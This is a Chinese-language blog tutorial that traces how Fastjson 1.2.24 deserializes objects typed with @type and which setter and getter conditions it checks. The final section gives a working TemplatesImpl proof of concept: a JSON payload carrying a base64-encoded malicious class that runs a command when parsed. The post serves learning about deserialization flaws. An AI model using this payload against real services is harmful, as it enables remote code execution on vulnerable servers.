author: bilala
0x00 前言
环境:fastjson1.2.24
本篇算是对fastjson如何处理数据做了一个跟进,为后边学习fastjson反序列化打打基础
0x01 Fastjson介绍
Fastjson 是一个Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象。 Fastjson 可以操作任何Java 对象,即使是一些预先存在的没有源码的对象。
—— From runoob.com
说白了就是可以处理json数据,但是一个库如果只有一个功能的话未免显得有些鸡肋。所以Fastjson还支持处理Java的任意对象,只需加上@type
字段,Fastjson就可以将字符串当作某个类处理。
使用方式
package com.bilala.fj;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class FastjsonDemo {
public static void main(String[] args) {
String text = "{\"name\":\"bilala\", \"age\":20}";
JSONObject jsonObject = JSON.parseObject(text);
System.out.println(jsonObject.getString("name"));
}
}
上述只是对普通的json数据进行解析,我们要研究的是Fastjson是如何对类进行解析的,新建一个JavaBean
package com.bilala.fj;
public class Person {
private String name;
private int age;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("调用了getName方法");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("调用了getAge方法");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
Fastjson序列化
package com.bilala.fj;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastjsonDemo {
public static void main(String[] args) {
Person person = new Person("bilala", 120);
String text = JSON.toJSONString(person);
System.out.println(text);
System.out.println("-------------------------");
String t2 = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(t2);
}
}
以上输出为
注意到两个地方
- 在Fastjson将类序列化成json数据的过程中,都调用了类的get方法
- 在序列化时带上
SerializerFeature.WriteClassName
,则会在序列化数据头部带上@type字段,且字段值就是类名
Fastjson反序列化
Fastjson有两个反序列化方法,parse
和parseObject
,这里我们就用上边的带有@type的序列化数据来反序列化
package com.bilala.fj;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastjsonDemo {
public static void main(String[] args) {
// Person person = new Person("bilala", 120);
String text = "{\"@type\":\"com.bilala.fj.Person\",\"age\":120,\"name\":\"bilala\"}";
Object obj = JSON.parse(text);
System.out.println(obj.getClass().getName());
System.out.println("-------------------------");
JSONObject jsonObject = JSON.parseObject(text);
System.out.println(jsonObject.getClass().getName());
}
}
输出:
首先,这两个方法在本质上是一样的作用,翻看parseObject源码就可以看到,也是调用的parse
要注意的是,Fastjson在反序列化时都调用了类的setter/getter方法,那我们可以直接在JavaBean中的setter方法里加上exec("calc")就能弹出计算器,不过这毕竟是我们自己写的JavaBean,我们需要跟进这个反序列化流程,看看是否是满足某些条件的时候才会触发setter/getter方法,并且在原生类中找到符合这些条件的Gadget
0x02 parseObject流程
上边已经提到了,在parseObject时会调用到parse,跟进parse
public static Object parse(String text, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
可以看到这里有一个DefaultJSONParser
,就是使用默认的解析器进行处理,我们继续跟进parser.parse,核心的处理逻辑都在这里边了
public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
case SET:
lexer.nextToken();
HashSet<Object> set = new HashSet<Object>();
parseArray(set, fieldName);
return set;
case TREE_SET:
lexer.nextToken();
TreeSet<Object> treeSet = new TreeSet<Object>();
parseArray(treeSet, fieldName);
return treeSet;
case LBRACKET:
JSONArray array = new JSONArray();
parseArray(array, fieldName);
if (lexer.isEnabled(Feature.UseObjectArray)) {
return array.toArray();
}
return array;
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
这里就是对传入的字符串进行判断,我们传入的是以{}
包含的,也就是switch中的LBRACE
,意思就是解析器把我们传入的数据当作json对象处理,继续跟进这里的parseObject
这里的代码很长就不贴了,刚刚说了解析器把我们的字符串当作json对象处理,这一长串代码就是处理的逻辑,核心逻辑也就是先对key作处理,再对value作处理,毕竟json就是键值对形式的数据。
这里我们一直下一步下一步,一直到这一段
首先我们知道传进去的第一个key就是@type,而这个DEFAULT_TYPE_KEY就是@type
所以这段处理逻辑是要跟进来的,这里做的就不是Fastjson的反序列化了,这里需要Java本身的反序列化
中间都是些小处理,一直下一步,到最后两句
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
先是获取一个反序列化器,然后用反序列化器对其进行反序列化,这里跟进getDeserializer
这里在第一行就获取了一次反序列化器,当然这里获取的其实是这个类原本就导入的一些反序列化器,看这个类的构造方法
这里可以看到这个类对一些原生类已经导入了对应的反序列化器,然而我们的Javabean是自定义的,所以这里肯定没有,继续往下跟
在这里进入了if并且去获取一个反序列化器,跟进
这里跟进后,这个方法全是对你这个type进行各种判断,是否是原生类java.time
java.util.Optional
等等,不过这些都和我们无关,直接跟到这个方法的最后
这里创建一个新的JavaBean反序列化器,跟进
一开始就定义了一个asm开关,这是Java底层用来加载动态类的,不用管,一直往下跟进直到这一行
Java要想新建一个JavaBean反序列化器,那他一定要对你的类有一个了解,所以通过这个build方法,Java可以get到你类里的属性与方法等,这里跟进
可以看到,上来就是对你的类获取构造器、获取属性、获取方法等。
这里也是一直跟下去,一直到for循环那里
这里把三个for循环都缩略了,主要逻辑是第一个for循环获取所有的setter方法,第二个是获取所有public变量,第三个是获取所有的getter方法,讲完三个for的作用后,继续下一步走
在第一个for循环中有这几个if判断,这几个判断其实就是调用setter方法的条件
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 参数个数为1个
- 以set开头
第一个我们获取到的是getName方法,我们直接略过来到下一个setName方法,for循环里主要是先取出字符串Name
,然后把他变小写,也就是name
,然后就知道了这个类中有个叫name的变量,就可以加到FiledInfo里去
跟进FiledInfo
一直下一步,直到getOnly处
这里的if对方法进行判断,需要的参数个数是否是一个,这里主要是看getOnly这个字段,正常来说我们是进入不了getOnly=true
的那个else的,不过后边我们会碰到Java使用ASM临时生成一个类,这个过程中我们是无法调试的,所以在这里可以控制一下getOnly的开关来做到避开ASM本地调试(这里不讲,仅说一下思路)
这里出来之后就可以看到我们类的信息已经被收集到了
搜集完类的信息后,这个反序列化器也就完成的差不多了,可以return了
return回去之后,可以看到就调用ASM来创建临时类了,到这里就不能调试下去了(感兴趣的话可以照上边说的思路搞)
最终就是完成了对一个json数据的处理
这里还要提到对getter方法的条件限制(就是刚刚的第三个for循环,感兴趣可以自己跟一下)
- 方法名长度大于4
- 非静态方法
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
0x03 TemplatesImpl链利用
在shiro550的CB链利用中,我们用到的是TemplatesImpl#getOutputProperties
方法,欸,这个方法不正好就是getter方法嘛,查看这个方法是否满足条件
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
前三个都满足,看看这个返回值
完美的符合利用条件
POC如下:
package com.bilala.fj;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonDemo {
public static void main(String[] args) {
String text = "{"+
"\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMY29tL2V2aWwvY2MzRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAxjYzNFdmlsLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAQY29tL2V2aWwvY2MzRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACwANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFwANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAHAANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAAOAAkAEQAMAA8ADQAQABEAEgANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj\"]," +
"\"_name\":\"bilala\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }" +
"}";
JSONObject jsonObject = JSON.parseObject(text, Feature.SupportNonPublicField);
}
}
分析如下:
@type
:就是指定类名_bytecodes
:这串数据是cc3的恶意类的class文件base64后的字符串_name
:cc3时有分析,这个必须要赋值_tfactory
:cc3时有分析,当时分析是这个赋不赋值无所谓,因为当时是可以用unserialize触发TemplatesImpl
的readObject方法,从而在反序列化时完成对其的赋值,不过这里无法调用readObject,所以要赋值,以免报错中止了链子的跟进_outputProperties
:这个就是重点对象了,调用的是他的getter方法Feature.SupportNonPublicField
:parseObject默认情况下只对public变量进行反序列化,而_bytecodes和outputProperties都是私有变量,所以需要加上这个才能对私有变量进行反序列化
Comments | NOTHING